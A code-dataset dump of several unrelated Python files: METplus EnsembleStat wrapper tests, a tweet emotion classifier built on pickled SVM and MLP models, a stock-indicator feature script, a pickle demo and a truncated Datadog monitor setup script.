({'ENSEMBLE_STAT_INTERP_VLD_THRESH': '0.8', },\n {'METPLUS_INTERP_DICT': 'interp = {vld_thresh = 0.8;}'}),\n\n ({'ENSEMBLE_STAT_INTERP_SHAPE': 'CIRCLE', },\n {'METPLUS_INTERP_DICT': 'interp = {shape = CIRCLE;}'}),\n\n ({'ENSEMBLE_STAT_INTERP_TYPE_METHOD': 'BILIN', },\n {'METPLUS_INTERP_DICT': 'interp = {type = {method = [BILIN];}}'}),\n\n ({'ENSEMBLE_STAT_INTERP_TYPE_WIDTH': '2', },\n {'METPLUS_INTERP_DICT': 'interp = {type = {width = [2];}}'}),\n # multiple interp type methods\n ({'ENSEMBLE_STAT_INTERP_TYPE_METHOD': 'BILIN, NEAREST', },\n {'METPLUS_INTERP_DICT': 'interp = {type = {method = [BILIN, NEAREST];}}'}),\n # multiple interp type methods\n ({'ENSEMBLE_STAT_INTERP_TYPE_WIDTH': '2,3', },\n {'METPLUS_INTERP_DICT': 'interp = {type = {width = [2, 3];}}'}),\n\n ({\n 'ENSEMBLE_STAT_INTERP_VLD_THRESH': '0.8',\n 'ENSEMBLE_STAT_INTERP_SHAPE': 'CIRCLE',\n 'ENSEMBLE_STAT_INTERP_TYPE_METHOD': 'BILIN',\n 'ENSEMBLE_STAT_INTERP_TYPE_WIDTH': '2',\n },\n {'METPLUS_INTERP_DICT': ('interp = {vld_thresh = 0.8;'\n 'shape = CIRCLE;'\n 'type = {method = [BILIN];width = [2];}}')}),\n\n ({'ENSEMBLE_STAT_CLIMO_MEAN_FILE_NAME': '/some/climo_mean/file.txt', },\n {'METPLUS_CLIMO_MEAN_DICT': ('climo_mean = {file_name = '\n '[\"/some/climo_mean/file.txt\"];}'),\n 'CLIMO_MEAN_FILE': '\"/some/climo_mean/file.txt\"'}),\n\n ({'ENSEMBLE_STAT_CLIMO_MEAN_FIELD': '{name=\"CLM_NAME\"; level=\"(0,0,*,*)\";}', },\n {'METPLUS_CLIMO_MEAN_DICT': 'climo_mean = {field = [{name=\"CLM_NAME\"; level=\"(0,0,*,*)\";}];}'}),\n\n ({'ENSEMBLE_STAT_CLIMO_MEAN_REGRID_METHOD': 'NEAREST', },\n {'METPLUS_CLIMO_MEAN_DICT': 'climo_mean = {regrid = {method = NEAREST;}}'}),\n\n ({'ENSEMBLE_STAT_CLIMO_MEAN_REGRID_WIDTH': '1', },\n {'METPLUS_CLIMO_MEAN_DICT': 'climo_mean = {regrid = {width = 1;}}'}),\n\n ({'ENSEMBLE_STAT_CLIMO_MEAN_REGRID_VLD_THRESH': '0.5', },\n {\n 'METPLUS_CLIMO_MEAN_DICT': 'climo_mean = {regrid = {vld_thresh = 0.5;}}'}),\n\n ({'ENSEMBLE_STAT_CLIMO_MEAN_REGRID_SHAPE': 'SQUARE', },\n {'METPLUS_CLIMO_MEAN_DICT': 'climo_mean = {regrid = {shape = SQUARE;}}'}),\n\n ({'ENSEMBLE_STAT_CLIMO_MEAN_TIME_INTERP_METHOD': 'NEAREST', },\n {\n 'METPLUS_CLIMO_MEAN_DICT': 'climo_mean = {time_interp_method = NEAREST;}'}),\n\n ({'ENSEMBLE_STAT_CLIMO_MEAN_MATCH_MONTH': 'True', },\n {'METPLUS_CLIMO_MEAN_DICT': 'climo_mean = {match_month = TRUE;}'}),\n\n ({'ENSEMBLE_STAT_CLIMO_MEAN_DAY_INTERVAL': '30', },\n {'METPLUS_CLIMO_MEAN_DICT': 'climo_mean = {day_interval = 30;}'}),\n\n ({'ENSEMBLE_STAT_CLIMO_MEAN_HOUR_INTERVAL': '12', },\n {'METPLUS_CLIMO_MEAN_DICT': 'climo_mean = {hour_interval = 12;}'}),\n\n ({\n 'ENSEMBLE_STAT_CLIMO_MEAN_FILE_NAME': '/some/climo_mean/file.txt',\n 'ENSEMBLE_STAT_CLIMO_MEAN_FIELD': '{name=\"CLM_NAME\"; level=\"(0,0,*,*)\";}',\n 'ENSEMBLE_STAT_CLIMO_MEAN_REGRID_METHOD': 'NEAREST',\n 'ENSEMBLE_STAT_CLIMO_MEAN_REGRID_WIDTH': '1',\n 'ENSEMBLE_STAT_CLIMO_MEAN_REGRID_VLD_THRESH': '0.5',\n 'ENSEMBLE_STAT_CLIMO_MEAN_REGRID_SHAPE': 'SQUARE',\n 'ENSEMBLE_STAT_CLIMO_MEAN_TIME_INTERP_METHOD': 'NEAREST',\n 'ENSEMBLE_STAT_CLIMO_MEAN_MATCH_MONTH': 'True',\n 'ENSEMBLE_STAT_CLIMO_MEAN_DAY_INTERVAL': '30',\n 'ENSEMBLE_STAT_CLIMO_MEAN_HOUR_INTERVAL': '12',\n },\n {'METPLUS_CLIMO_MEAN_DICT': ('climo_mean = {file_name = '\n '[\"/some/climo_mean/file.txt\"];'\n 'field = [{name=\"CLM_NAME\"; level=\"(0,0,*,*)\";}];'\n 'regrid = {method = NEAREST;width = 1;'\n 'vld_thresh = 0.5;shape = SQUARE;}'\n 'time_interp_method = NEAREST;'\n 'match_month = TRUE;day_interval = 30;'\n 'hour_interval = 12;}'),\n 'CLIMO_MEAN_FILE': '\"/some/climo_mean/file.txt\"'}),\n\n # climo stdev\n ({'ENSEMBLE_STAT_CLIMO_STDEV_FILE_NAME': '/some/climo_stdev/file.txt', },\n {'METPLUS_CLIMO_STDEV_DICT': ('climo_stdev = {file_name = '\n '[\"/some/climo_stdev/file.txt\"];}'),\n 'CLIMO_STDEV_FILE': '\"/some/climo_stdev/file.txt\"'}),\n\n ({'ENSEMBLE_STAT_CLIMO_STDEV_FIELD': '{name=\"CLM_NAME\"; level=\"(0,0,*,*)\";}', },\n {'METPLUS_CLIMO_STDEV_DICT': 'climo_stdev = {field = [{name=\"CLM_NAME\"; level=\"(0,0,*,*)\";}];}'}),\n\n ({'ENSEMBLE_STAT_CLIMO_STDEV_REGRID_METHOD': 'NEAREST', },\n {\n 'METPLUS_CLIMO_STDEV_DICT': 'climo_stdev = {regrid = {method = NEAREST;}}'}),\n\n ({'ENSEMBLE_STAT_CLIMO_STDEV_REGRID_WIDTH': '1', },\n {'METPLUS_CLIMO_STDEV_DICT': 'climo_stdev = {regrid = {width = 1;}}'}),\n\n ({'ENSEMBLE_STAT_CLIMO_STDEV_REGRID_VLD_THRESH': '0.5', },\n {\n 'METPLUS_CLIMO_STDEV_DICT': 'climo_stdev = {regrid = {vld_thresh = 0.5;}}'}),\n\n ({'ENSEMBLE_STAT_CLIMO_STDEV_REGRID_SHAPE': 'SQUARE', },\n {\n 'METPLUS_CLIMO_STDEV_DICT': 'climo_stdev = {regrid = {shape = SQUARE;}}'}),\n\n ({'ENSEMBLE_STAT_CLIMO_STDEV_TIME_INTERP_METHOD': 'NEAREST', },\n {\n 'METPLUS_CLIMO_STDEV_DICT': 'climo_stdev = {time_interp_method = NEAREST;}'}),\n\n ({'ENSEMBLE_STAT_CLIMO_STDEV_MATCH_MONTH': 'True', },\n {'METPLUS_CLIMO_STDEV_DICT': 'climo_stdev = {match_month = TRUE;}'}),\n\n ({'ENSEMBLE_STAT_CLIMO_STDEV_DAY_INTERVAL': '30', },\n {'METPLUS_CLIMO_STDEV_DICT': 'climo_stdev = {day_interval = 30;}'}),\n\n ({'ENSEMBLE_STAT_CLIMO_STDEV_HOUR_INTERVAL': '12', },\n {'METPLUS_CLIMO_STDEV_DICT': 'climo_stdev = {hour_interval = 12;}'}),\n\n ({\n 'ENSEMBLE_STAT_CLIMO_STDEV_FILE_NAME': '/some/climo_stdev/file.txt',\n 'ENSEMBLE_STAT_CLIMO_STDEV_FIELD': '{name=\"CLM_NAME\"; level=\"(0,0,*,*)\";}',\n 'ENSEMBLE_STAT_CLIMO_STDEV_REGRID_METHOD': 'NEAREST',\n 'ENSEMBLE_STAT_CLIMO_STDEV_REGRID_WIDTH': '1',\n 'ENSEMBLE_STAT_CLIMO_STDEV_REGRID_VLD_THRESH': '0.5',\n 'ENSEMBLE_STAT_CLIMO_STDEV_REGRID_SHAPE': 'SQUARE',\n 'ENSEMBLE_STAT_CLIMO_STDEV_TIME_INTERP_METHOD': 'NEAREST',\n 'ENSEMBLE_STAT_CLIMO_STDEV_MATCH_MONTH': 'True',\n 'ENSEMBLE_STAT_CLIMO_STDEV_DAY_INTERVAL': '30',\n 'ENSEMBLE_STAT_CLIMO_STDEV_HOUR_INTERVAL': '12',\n },\n {'METPLUS_CLIMO_STDEV_DICT': ('climo_stdev = {file_name = '\n '[\"/some/climo_stdev/file.txt\"];'\n 'field = [{name=\"CLM_NAME\"; level=\"(0,0,*,*)\";}];'\n 'regrid = {method = NEAREST;width = 1;'\n 'vld_thresh = 0.5;shape = SQUARE;}'\n 'time_interp_method = NEAREST;'\n 'match_month = TRUE;day_interval = 30;'\n 'hour_interval = 12;}'),\n 'CLIMO_STDEV_FILE': '\"/some/climo_stdev/file.txt\"'}),\n ({'ENSEMBLE_STAT_OBS_QUALITY_INC': '2,3,4', },\n {'METPLUS_OBS_QUALITY_INC': 'obs_quality_inc = [\"2\", \"3\", \"4\"];'}),\n ({'ENSEMBLE_STAT_OBS_QUALITY_EXC': '5,6,7', },\n {'METPLUS_OBS_QUALITY_EXC': 'obs_quality_exc = [\"5\", \"6\", \"7\"];'}),\n\n ({'ENSEMBLE_STAT_ENS_MEMBER_IDS': '1,2,3,4', },\n {'METPLUS_ENS_MEMBER_IDS': 'ens_member_ids = [\"1\", \"2\", \"3\", \"4\"];'}),\n\n ({'ENSEMBLE_STAT_CONTROL_ID': '0', },\n {'METPLUS_CONTROL_ID': 'control_id = \"0\";'}),\n\n ({'ENSEMBLE_STAT_GRID_WEIGHT_FLAG': 'COS_LAT', },\n {'METPLUS_GRID_WEIGHT_FLAG': 'grid_weight_flag = COS_LAT;'}),\n\n ({'ENSEMBLE_STAT_PROB_CAT_THRESH': '<=0.25', },\n {'METPLUS_PROB_CAT_THRESH': 'prob_cat_thresh = [<=0.25];'}),\n\n ({'ENSEMBLE_STAT_PROB_PCT_THRESH': '==0.25', },\n {'METPLUS_PROB_PCT_THRESH': 'prob_pct_thresh = [==0.25];'}),\n\n ({'ENSEMBLE_STAT_ECLV_POINTS': '0.05', },\n {'METPLUS_ECLV_POINTS': 'eclv_points = 0.05;'}),\n\n ({'ENSEMBLE_STAT_ENS_THRESH': '0.1', },\n {'METPLUS_ENS_THRESH': 'ens_thresh = 0.1;'}),\n\n ({'ENSEMBLE_STAT_VLD_THRESH': '0.5', },\n {'METPLUS_VLD_THRESH': 'vld_thresh = 0.5;'}),\n\n ({'ENSEMBLE_STAT_OBS_THRESH': 'NA, 0.5', },\n {'METPLUS_OBS_THRESH': 'obs_thresh = [NA, 0.5];'}),\n\n ({'ENSEMBLE_STAT_ENS_MEAN_INPUT_DIR': ens_mean_dir,\n 'ENSEMBLE_STAT_ENS_MEAN_INPUT_TEMPLATE': ens_mean_template},\n {}),\n\n ({'OBS_ENSEMBLE_STAT_POINT_INPUT_DIR': obs_dir,\n 'OBS_ENSEMBLE_STAT_POINT_INPUT_TEMPLATE': obs_point_template},\n {}),\n\n ({'ENSEMBLE_STAT_ENS_MEAN_INPUT_DIR': ens_mean_dir,\n 'ENSEMBLE_STAT_ENS_MEAN_INPUT_TEMPLATE': ens_mean_template,\n 'OBS_ENSEMBLE_STAT_POINT_INPUT_DIR': obs_dir,\n 'OBS_ENSEMBLE_STAT_POINT_INPUT_TEMPLATE': obs_point_template},\n {}),\n\n ]\n)\n@pytest.mark.wrapper_c\ndef test_ensemble_stat_single_field(metplus_config, config_overrides,\n env_var_values):\n\n config = metplus_config\n\n set_minimum_config_settings(config)\n\n # set config variable overrides\n for key, value in config_overrides.items():\n config.set('config', key, value)\n\n wrapper = EnsembleStatWrapper(config)\n assert wrapper.isOK\n\n app_path = os.path.join(config.getdir('MET_BIN_DIR'), wrapper.app_name)\n verbosity = f\"-v {wrapper.c_dict['VERBOSITY']}\"\n file_list_dir = wrapper.config.getdir('FILE_LISTS_DIR')\n config_file = wrapper.c_dict.get('CONFIG_FILE')\n out_dir = wrapper.c_dict.get('OUTPUT_DIR')\n\n point_obs = ' '\n ens_mean = ' '\n if 'OBS_ENSEMBLE_STAT_POINT_INPUT_TEMPLATE' in config_overrides:\n point_obs = f' -point_obs \"{obs_dir}/{obs_point_template}\" '\n if 'ENSEMBLE_STAT_ENS_MEAN_INPUT_TEMPLATE' in config_overrides:\n ens_mean = f' -ens_mean {ens_mean_dir}/{ens_mean_template} '\n\n expected_cmds = [(f\"{app_path} {verbosity} \"\n f\"{file_list_dir}/20050807000000_12_ensemble_stat.txt \"\n f\"{config_file}{point_obs}\"\n f'-grid_obs \"{obs_dir}/2005080712/obs_file\"{ens_mean}'\n f\"-outdir {out_dir}/2005080712\"),\n (f\"{app_path} {verbosity} \"\n f\"{file_list_dir}/20050807120000_12_ensemble_stat.txt \"\n f\"{config_file}{point_obs}\"\n f'-grid_obs \"{obs_dir}/2005080800/obs_file\"{ens_mean}'\n f\"-outdir {out_dir}/2005080800\"),\n ]\n\n all_cmds = wrapper.run_all_times()\n print(f\"ALL COMMANDS: {all_cmds}\")\n assert len(all_cmds) == len(expected_cmds)\n\n missing_env = [item for item in env_var_values\n if item not in wrapper.WRAPPER_ENV_VAR_KEYS]\n env_var_keys = wrapper.WRAPPER_ENV_VAR_KEYS + missing_env\n\n for (cmd, env_vars), expected_cmd in zip(all_cmds, expected_cmds):\n # ensure commands are generated as expected\n assert cmd == expected_cmd\n\n # check that environment variables were set properly\n # including deprecated env vars (not in wrapper env var keys)\n for env_var_key in env_var_keys:\n match = next((item for item in env_vars if\n item.startswith(env_var_key)), None)\n assert(match is not None)\n actual_value = match.split('=', 1)[1]\n if env_var_key == 'METPLUS_FCST_FIELD':\n assert actual_value == fcst_fmt\n elif env_var_key == 'METPLUS_OBS_FIELD':\n assert actual_value == obs_fmt\n else:\n assert env_var_values.get(env_var_key, '') == actual_value\n\n\n@pytest.mark.wrapper_c\ndef test_get_config_file(metplus_config):\n fake_config_name = '/my/config/file'\n\n config = metplus_config\n default_config_file = os.path.join(config.getdir('PARM_BASE'),\n 'met_config',\n 'EnsembleStatConfig_wrapped')\n\n wrapper = EnsembleStatWrapper(config)\n assert wrapper.c_dict['CONFIG_FILE'] == default_config_file\n\n config.set('config', 'ENSEMBLE_STAT_CONFIG_FILE', fake_config_name)\n wrapper = EnsembleStatWrapper(config)\n assert wrapper.c_dict['CONFIG_FILE'] == fake_config_name\n\n\n@pytest.mark.parametrize(\n 'config_overrides, expected_num_files', [\n ({}, 4),\n ({'ENSEMBLE_STAT_ENS_MEMBER_IDS': '1'}, 1),\n ]\n)\n@pytest.mark.wrapper_c\ndef test_ensemble_stat_fill_missing(metplus_config, config_overrides,\n expected_num_files):\n config = metplus_config\n\n set_minimum_config_settings(config)\n\n # change some config values for this test\n config.set('config', 'INIT_END', run_times[0])\n config.set('config', 'ENSEMBLE_STAT_N_MEMBERS', 4)\n\n # set config variable overrides\n for key, value in config_overrides.items():\n config.set('config', key, value)\n\n wrapper = EnsembleStatWrapper(config)\n\n file_list_file = os.path.join(wrapper.config.getdir('FILE_LISTS_DIR'),\n '20050807000000_12_ensemble_stat.txt')\n if os.path.exists(file_list_file):\n os.remove(file_list_file)\n\n all_cmds = wrapper.run_all_times()\n assert len(all_cmds) == 1\n\n with open(file_list_file, 'r') as file_handle:\n actual_num_files = len(file_handle.read().splitlines()) - 1\n\n assert actual_num_files == expected_num_files\n","sub_path":"internal/tests/pytests/wrappers/ensemble_stat/test_ensemble_stat_wrapper.py","file_name":"test_ensemble_stat_wrapper.py","file_ext":"py","file_size_in_byte":31788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"37237050","text":"from tweepy import OAuthHandler\nfrom tweepy.streaming import StreamListener\nimport tweepy\nfrom nltk.corpus import stopwords\nimport sys\nimport re\nfrom nltk import NaiveBayesClassifier\nimport cPickle as pickle\nfrom nltk.corpus import stopwords\nimport os\nimport re\nimport pkg_resources\nimport itertools\nfrom sklearn.externals import joblib\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.feature_extraction.text import TfidfTransformer\nfrom sklearn.metrics import accuracy_score\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom django.shortcuts import render_to_response\nfrom django.template import RequestContext\nfrom django.http import HttpResponseRedirect\nfrom django.http import HttpResponse\nfrom matplotlib.backends.backend_agg import FigureCanvasAgg\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import classification_report\n\n\nresource_package = __name__\n\nresource_path = '/'.join(('', 'model/svm.pkl'))\nsvm_path = pkg_resources.resource_filename(resource_package, resource_path)\nmodel_svm = joblib.load(svm_path)\n\nresource_path = '/'.join(('', 'model/mlp.pkl'))\nmlp_path = pkg_resources.resource_filename(resource_package, resource_path)\nmodel_mlp = joblib.load(mlp_path)\n\nresource_path = '/'.join(('', 'model/count_vect.pkl'))\nvec_path = pkg_resources.resource_filename(resource_package, resource_path)\nvec = joblib.load(vec_path)\n\nresource_path = '/'.join(('', 'model/tfidf_transformer.pkl'))\nidf_path = pkg_resources.resource_filename(resource_package, resource_path)\nidf = joblib.load(idf_path)\n\ndef clasification_SVM_RBF(dataframe):\n tfidf_transformer = TfidfTransformer()\n count_vect = CountVectorizer()\n\n data_samples = dataframe.text\n\n X_new_counts = vec.transform(data_samples)\n X_new_tfidf = idf.transform(X_new_counts)\n\n dataframe['predict'] = pd.DataFrame({'predict': model_svm.predict(X_new_tfidf)})\n y_test = dataframe.emotion.astype(np.int64)\n predict = dataframe.predict\n \n dataframe['state'] = np.where(y_test == predict, 'matched', 'unmatched')\n accuracy = accuracy_score(y_test, predict)\n accuracy = 100 * accuracy\n #conf = confusion_matrix(y_test, predict)\n y_true = y_test\n unique_label = np.unique(y_true)\n conf = (pd.DataFrame(confusion_matrix(y_true, predict, labels=unique_label), \n index=['true:{:}'.format(x) for x in unique_label], \n columns=['pred:{:}'.format(x) for x in unique_label]))\n report = classification_report(y_test, predict)\n\n #showCMPlot()\n \n return dataframe, convertToDict(dataframe) , accuracy , conf, report \n\ndef clasification_MLP(dataframe):\n tfidf_transformer = TfidfTransformer()\n count_vect = CountVectorizer()\n\n data_samples = dataframe.text\n\n X_new_counts = vec.transform(data_samples)\n X_new_tfidf = idf.transform(X_new_counts)\n\n dataframe['predict'] = pd.DataFrame({'predict': model_mlp.predict(X_new_tfidf)})\n y_test = dataframe.emotion.astype(np.int64)\n predict = dataframe.predict\n \n dataframe['state'] = np.where(y_test == predict, 'matched', 'unmatched')\n accuracy_MLP = accuracy_score(y_test, predict)\n accuracy_MLP = 100 * accuracy_MLP\n #conf = confusion_matrix(y_test, predict)\n y_true = y_test\n unique_label = np.unique(y_true)\n conf = (pd.DataFrame(confusion_matrix(y_true, predict, labels=unique_label), \n index=['true:{:}'.format(x) for x in unique_label], \n columns=['pred:{:}'.format(x) for x in unique_label]))\n report = classification_report(y_test, predict)\n\n return dataframe, convertToDict(dataframe), accuracy_MLP, conf, report \n\n\ndef convertToDict(tweet):\n tweets = [] \n for i in range(len(tweet)):\n obj = {}\n #print \"test 2 \", tweet.loc[i]['text']\n obj['text'] = tweet.loc[i]['text']\n obj['emotion'] = tweet.loc[i]['emotion']\n obj['predict'] = tweet.loc[i]['predict']\n obj['state'] = tweet.loc[i]['state']\n #print tweet.iloc[i]['text']\n tweets.append(obj)\n\n return tweets\n\n# def GraphsViewBar(request):\n# f = plt.figure()\n# x = np.arange(10)\n# h = [0,1,2,3,5,6,4,2,1,0]\n# plt.title('Title')\n# plt.xlim(0, 10)\n# plt.ylim(0, 8)\n# plt.xlabel('x label')\n# plt.ylabel('y label')\n# bar1 = plt.bar(x,h,width=1.0,bottom=0,color='Green',alpha=0.65,label='Legend')\n# plt.legend()\n# #show = plt.show()\n# canvas = FigureCanvasAgg(f) \n# response = HttpResponse(content_type='image/png')\n# canvas.print_png(response)\n# matplotlib.pyplot.close(f) \n# return response\n\ndef showCMPlot(request):\n f = plt.figure()\n x = np.arange(10)\n h = [0,1,2,3,5,6,4,2,1,0]\n plt.title('Title')\n plt.xlim(0, 10)\n plt.ylim(0, 8)\n plt.xlabel('x label')\n plt.ylabel('y label')\n bar1 = plt.bar(x,h,width=1.0,bottom=0,color='Green',alpha=0.65,label='Legend')\n plt.legend()\n\n canvas = FigureCanvasAgg(f) \n response = HttpResponse(content_type='image/png')\n canvas.print_png(response)\n matplotlib.pyplot.close(f)\n\n return response\n\ndef analyzeInput(text):\n \n tweet = []\n URL = ['']\n tfidf_transformer = TfidfTransformer()\n count_vect = CountVectorizer()\n\n tweet = [text]\n\n X_new_counts = vec.transform(tweet)\n X_new_tfidf = idf.transform(X_new_counts)\n\n predict = model_svm.predict(X_new_tfidf)\n\n #accuracy = accuracy_score(y_test, predict)\n #accuracy = 100 * accuracy\n\n #print accuracy\n\n if predict == 0:\n predict = \" JOY\"\n URL = '/static/images/0.png'\n elif predict == 1:\n predict = \" FEAR\"\n URL = '/static/images/1.png'\n elif predict == 2:\n predict = \" ANGER\"\n URL = '/static/images/2.png'\n elif predict == 3:\n predict = \" SADNESS\"\n URL = '/static/images/3.png'\n elif predict == 4:\n predict = \" DISGUST\"\n URL = '/static/images/4.png'\n elif predict == 5:\n predict = \" SURPRISE\"\n URL = '/static/images/5.png'\n\n return predict, URL\n\ndef evaluasiPerKelas(tweet):\n\n\n totJoy = 0.0\n totFear = 0.0\n totAnger = 0.0\n totSadness = 0.0\n totDisgust = 0.0\n totSurprise = 0.0\n\n listTweet = tweet['predict'].astype(np.int64)\n\n #print listTweet\n\n for pair in listTweet:\n if (pair == 0):\n totJoy += 1\n elif (pair == 1):\n totFear += 1\n elif (pair == 2):\n totAnger += 1\n elif (pair == 3):\n totSadness += 1\n elif (pair == 4):\n totDisgust += 1\n elif (pair == 5):\n totSurprise += 1\n\n total = totJoy + totFear + totAnger + totSadness + totDisgust + totSurprise\n\n if(total > 0):\n return [round(100*(totJoy/total),6),round(100*(totFear/total),6),round(100*(totAnger/total),6),round(100*(totSadness/total),6),round(100*(totDisgust/total),6),round(100*(totSurprise/total),6)] , [int(totJoy) , int(totFear) , int(totAnger) , int(totSadness) , int(totDisgust) , int(totSurprise)] , int(total)\n else:\n return [\"N/A\",\"N/A\",\"N/A\",\"N/A\",\"N/A\",\"N/A\"]\n\ndef evaluasiPerKelasMatchUnmatch(tweet):\n\n total = 0\n\n MJoy = 0\n MFear = 0\n MAnger = 0\n MSadness = 0\n MDisgust = 0\n MSurprise = 0\n\n UJoy = 0\n UFear = 0\n UAnger = 0\n USadness = 0\n UDisgust = 0\n USurprise = 0\n\n predict = tweet['predict'].astype(np.int64) \n emotion = tweet['emotion'].astype(np.int64)\n state = tweet['state'].astype(str)\n\n for i in range(len(tweet)):\n if predict.iloc[i] == 0 and state.iloc[i] == \"matched\" :\n MJoy += 1\n elif predict.iloc[i] == 1 and state.iloc[i] == \"matched\" :\n MFear += 1\n elif predict.iloc[i] == 2 and state.iloc[i] == \"matched\" :\n MAnger += 1\n elif predict.iloc[i] == 3 and state.iloc[i] == \"matched\" :\n MSadness += 1\n elif predict.iloc[i] == 4 and state.iloc[i] == \"matched\" :\n MDisgust += 1\n elif predict.iloc[i] == 5 and state.iloc[i] == \"matched\" :\n MSurprise += 1\n\n for i in range(len(tweet)):\n if predict.iloc[i] == 0 and state.iloc[i] == \"unmatched\" :\n UJoy += 1\n elif predict.iloc[i] == 1 and state.iloc[i] == \"unmatched\" :\n UFear += 1\n elif predict.iloc[i] == 2 and state.iloc[i] == \"unmatched\" :\n UAnger += 1\n elif predict.iloc[i] == 3 and state.iloc[i] == \"unmatched\" :\n USadness += 1\n elif predict.iloc[i] == 4 and state.iloc[i] == \"unmatched\" :\n UDisgust += 1\n elif predict.iloc[i] == 5 and state.iloc[i] == \"unmatched\" :\n USurprise += 1\n\n total = MJoy+MFear+MAnger+MSadness+MDisgust+MSurprise + UJoy+UFear+UAnger+USadness+UDisgust+USurprise\n\n return [MJoy,MFear,MAnger,MSadness,MDisgust,MSurprise] , [UJoy,UFear,UAnger,USadness,UDisgust,USurprise] , total\n","sub_path":"Algo/Classify.py","file_name":"Classify.py","file_ext":"py","file_size_in_byte":8931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"584541399","text":"#!/bin/env python\n\nfrom common import *\nfrom fea_kernel import *\nfrom fea_core import *\nfrom data_loader import Cc\n\n\ndef getStatus(rate):\n if rate <= 0.901:\n return 2\n elif rate >= 1.099:\n return 1\n return 0\n\n\ndef getWavStatus(h_rate, l_rate):\n if h_rate >= 1.099 and l_rate <= 0.901:\n return 3\n elif l_rate <= 0.901:\n return 2\n elif h_rate >= 1.099:\n return 1\n return 0\n\n\ndef genEx(v):\n ex = []\n ex += [np.asarray(v[0], dtype=np.float64)]\n\n cc = Cc(*v[:11])\n # for i in [5, 10, 15]:\n base_ex = []\n for i in [5, 10, 20, 60]:\n # emv_value, emv_ma = emv(cc, i)\n\n # cr_value = cr(cc, i)\n # br_value = br(cc, i)\n\n sma_value = sma(cc.e, i)\n ema_value = ema(cc.e, sma_value, i)\n sma_value = fea_length_extend(sma_value, len(cc.ds))\n ema_value = fea_length_extend(ema_value, len(cc.ds))\n bias_value = bias(cc, i)\n v_value = vvv(cc, i)\n # boll_rate, boll_std = boll(cc, i)\n\n # rsi_value = rsi(cc, i)\n\n # cci_value = cci(cc, i)\n\n # osc_value = osc(cc, i)\n # psy_value = psy(cc, i)\n # wms_value = wms(cc, i)\n # obv_value = obv(cc, i)\n base_ex += [\n sma_value,\n # ema_value, bias_value, v_value,\n # emv_value, emv_ma, cr_value, br_value, \n # boll_rate, boll_std, \n # rsi_value, cci_value, osc_value, psy_value, wms_value,\n # obv_value\n ]\n # base_ex += [base_ex[0] / base_ex[4]]\n # base_ex[-1][np.isinf(base_ex[-1])] = 0\n # base_ex += [base_ex[1] / base_ex[5]]\n # base_ex[-1][np.isinf(base_ex[-1])] = 0\n # base_ex += [base_ex[2] / base_ex[6]]\n # base_ex[-1][np.isinf(base_ex[-1])] = 0\n # base_ex += [base_ex[3] / base_ex[7]]\n # base_ex[-1][np.isinf(base_ex[-1])] = 0\n\n ex += base_ex\n # # for (a, b, c) in [(4, 2, 2), (9, 3, 3), (16, 4, 4)]:\n for (a, b, c) in [(9, 3, 3)]:\n k, d, j = kdj(cc, a, b, c)\n ex += [k, d, j]\n\n # # for (l, s, m) in [(5, 3, 2), (10, 5, 3), (15, 7, 5)]:\n # for (l, s, m) in [(5, 3, 2)]:\n # diff, diff_ma, diff_ema = macd(cc, l, s, m)\n # ex += [diff]\n\n # ex += [cdp(cc)]\n\n # for (a, b) in [(4, 2), (8, 4), (12, 6)]:\n # mtm_value, mtma = mtm(cc, a, b)\n # ex += [mtm_value, mtma]\n\n # for a in [10, 15]:\n # vr_value = vr(cc, a)\n # ex += [vr_value]\n\n\n return ex\n\n\n# open,close,high,low,volume\ndef extend(key, v):\n for i in [2, 3, 4, 5, 6]:\n v[i] = map(float, v[i])\n rate = map(lambda x, y: 0 if x == 0 else y / x, v[3][1:], v[3][:-1]) + [0]\n v_rate = map(lambda x, y: 0 if x == 0 else y / x, v[6][1:], v[6][:-1]) + [0]\n\n # ex = genEx(v)\n # ex = []\n\n work_day = range(len(e_rate), 0, -1)\n\n buy = [-1.0] + v[2][:-1]\n sell = [-1.0, -1.0] + v[3][:-2]\n\n tgt = map(lambda x, y: y / x, buy, sell)\n v = v + [rate, v_rate, tgt]\n v = map(lambda x: map(str, x), v)\n\n # work_day = map(str, work_day)\n # aux = [v[0], work_day, v[4], v[5], v[6], v[7], v[8], v[15], v[16], v[18]]\n # for i in range(len(aux)):\n # aux[i] = aux[i][:200]\n return v\n","sub_path":"src/format3.py","file_name":"format3.py","file_ext":"py","file_size_in_byte":3176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"475581008","text":"\n\nfrom xai.brain.wordbase.nouns._syllogism import _SYLLOGISM\n\n#calss header\nclass _SYLLOGISMS(_SYLLOGISM, ):\n\tdef __init__(self,): \n\t\t_SYLLOGISM.__init__(self)\n\t\tself.name = \"SYLLOGISMS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"syllogism\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_syllogisms.py","file_name":"_syllogisms.py","file_ext":"py","file_size_in_byte":259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"606582799","text":"#!/usr/local/bin/python3\n\nimport os\nimport pickle\nimport io\n\npath = '/Users/tianya/dev/codes/myGihub/MyPython/learn/serialization'\npath = path + '/backup1'\n\nd = dict(name='Bob', age=20, score=88)\n\nf = open(path, 'wb')\npickle.dump(d, f)\nf.close()\n\nf = open(path, 'rb')\nd1 = pickle.load(f)\nf.close()\n\nprint(d1)\n","sub_path":"python/learn/serialization/TestPickle.py","file_name":"TestPickle.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"34679184","text":"from datadog import initialize, api\nimport os\nimport env\n\nos.environ[\"DD_API_KEY\"] = env.DD_API_KEY_EU\nos.environ[\"DD_APP_KEY\"] = env.DD_APP_KEY_EU\n\noptions = {\n 'api_key': os.environ[\"DD_API_KEY\"],\n 'app_key': os.environ[\"DD_APP_KEY\"],\n 'api_host': \"https://api.datadoghq.eu\"\n}\n\ninitialize(**options)\n\nmonitor_options = {\n \"notify_no_data\": True,\n \"no_data_timeframe\": 20\n}\n\ntags = [\"test:richard\", \"app:webserver\", 